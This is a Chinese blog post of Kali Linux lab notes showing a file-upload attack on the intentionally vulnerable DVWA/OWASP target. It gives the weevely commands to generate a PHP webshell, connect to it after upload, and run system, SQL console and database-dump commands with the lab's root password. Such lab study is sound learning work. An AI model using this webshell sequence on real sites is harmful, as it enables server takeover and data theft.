kali学习笔记-06-Webshell文件上传漏洞使用
kali学习笔记-06-Webshell文件上传漏洞使用
一、使用weevely制作一句话木马脚本
在Kali Linux的终端中输入命令weevely
,可以从错误提示中看到基本的使用方法。
输入以下命令来生成一句话木马:
weevely generate pass /home/kali/shell.php
这里指定的连接密码是pass
,生成的文件是/home/kali/shell.php
。
二、上传脚本到OWASP靶机
登录到OWASP靶机的网页上,设置DVWA Security
的安全等级为low
。
在页面上选择upload
,点击Browse
,选择我们刚刚创建的一名话木马脚本,上传成功后会提升上传的位置,如下图所示。
三、连接靶机
在Kali的终端中输入如下命令进行连接
weevely http://192.168.48.141/dvwa/hackable/uploads/shell.php pass
在这个命令中,第一个参数是一句话木马上传之后的位置,根据上图中网页的网址和返回的目录格式,我们不难判断出,文件上传后的完成路径是http://192.168.48.141/dvwa/hackable/uploads/shell.php
,第二参数是连接时所使用的密码。
四、执行控制命令
测试使用ls
命令查看文件。
使用:system_info
查看系统信息。
使用audit_phpconf
查看php配置信息。
使用sql_console -u root -p owaspbwa
和show databases;
命令查看系统的数据库信息。
使用sql_dump -dbms mysql phpmyadmin root owaspbwa
命令保存数据库。
实验完毕。
五、参考文献
分类:
Kali
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义